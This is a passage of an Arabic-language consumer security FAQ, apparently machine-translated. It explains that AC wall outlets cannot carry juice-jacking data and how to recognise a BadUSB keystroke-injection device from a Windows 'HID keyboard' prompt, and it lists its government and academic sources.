نعم آمن 100 بالمئة. مقبس الحائط الكهربائي القياسي 110 فولت / 230 فولت تيار متردد (حيث تقوم بتوصيل لبنة الطاقة Apple أو Samsung أو Anker الخاصة بك) يحمل فقط طاقة كهربائية ذات تيار متناوب ولا يحتوي على أي اتصالات بيانات قادرة على التواصل مع وحدة تحكم USB بهاتفك. طالما كنت تستخدم قالب محول التيار المتردد الجداري الموثوق به الخاص بك وكابل USB الموثوق به، لا يمكن لمنفذ التيار المتردد في المطار أو الفندق تنفيذ هجمات Juice Jacking أو BadUSB.

لماذا يظهر Windows "إعداد جهاز: جهاز لوحة مفاتيح HID" عندما أقوم بتوصيل محرك أقراص USB محمول أو شاحن vape/السجائر الإلكترونية؟¶

رؤية Windows يعرض قراءة إشعار النخب "إعداد جهاز: جهاز لوحة مفاتيح HID" عند توصيل شيء ما لا لوحة المفاتيح (مثل محرك أقراص USB المحمول، أو كابل الشحن، أو مروحة مكتب رخيصة، أو إطار صور رقمي، أو شاحن vape) هي أداة التدخين رقم 1 التي لا لبس فيها هجوم حقن ضغطة المفتاح BadUSB / HID. لا يحتاج أي محرك أقراص محمول أو كابل شحن شرعي إلى التسجيل في Windows كلوحة مفاتيح. افصل الجهاز على الفور، وافصله عن شبكة Wi-Fi، وقم بتشغيل PowerShell RunMRU و PSReadLine قم بمراجعة الأوامر في المرحلة الثانية لمعرفة الأمر الذي كتبته لوحة المفاتيح المزيفة.

تم التأكد من المصادر¶

• مكتب التحقيقات الفيدرالي (FBI) ولجنة الاتصالات الفيدرالية (FCC) (الولايات المتحدة): إعلانات الخدمة العامة بشأن مخاطر محطة شحن USB العامة ("Juice Jacking") وعمليات زرع الأجهزة الضارة.
• جهاز الأمن الوطني (NSA) ووكالة الأمن السيبراني وأمن البنية التحتية (CISA) (الولايات المتحدة): أفضل ممارسات الأجهزة المحمولة: السفر بأمان باستخدام الهواتف المحمولة وأجهزة الكمبيوتر المحمولة والأجهزة الطرفية USB.
• جامعة غراتس للتكنولوجيا (TU Graz مجموعة أبحاث InfoSec): ChoiceJacking: اختراق الأجهزة المحمولة من خلال أجهزة الشحن الضارة عبر حقن USB HID (ندوة أمان USENIX).
• دليل أمان نظام Apple الأساسي: وضع تقييد المحتوى عبر USB، والوصول إلى الملحقات عند القفل، وبنية ترخيص ملحقات USB/Thunderbolt الخاصة بنظام macOS Apple Silicon.
• منتدى منفذي USB (USB-IF): مصادقة USB من النوع C، توصيل الطاقة (USB PD) وجهاز الواجهة البشرية (HID فئة 0x03) المواصفات.

أدلة ذات صلة¶

• شبكة Wi-Fi عامة ونقاط اتصال Evil Twin ودفاع ضد سرقة العصير
• اختطاف ملفات تعريف الارتباط للجلسة، والبرامج الضارة لسرقة المعلومات، وإلغاء الرمز المميز
• الكشف عن برامج الملاحقة وبرامج التجسس وكلوغر على الهواتف
• الإصابة بالبرامج الضارة وبرامج الفدية وبرامج التجسس
• التصيد الاحتيالي لرمز الاستجابة السريعة (التصيد) وعمليات إعادة التوجيه الضارة
• أرقام الطوارئ حسب البلد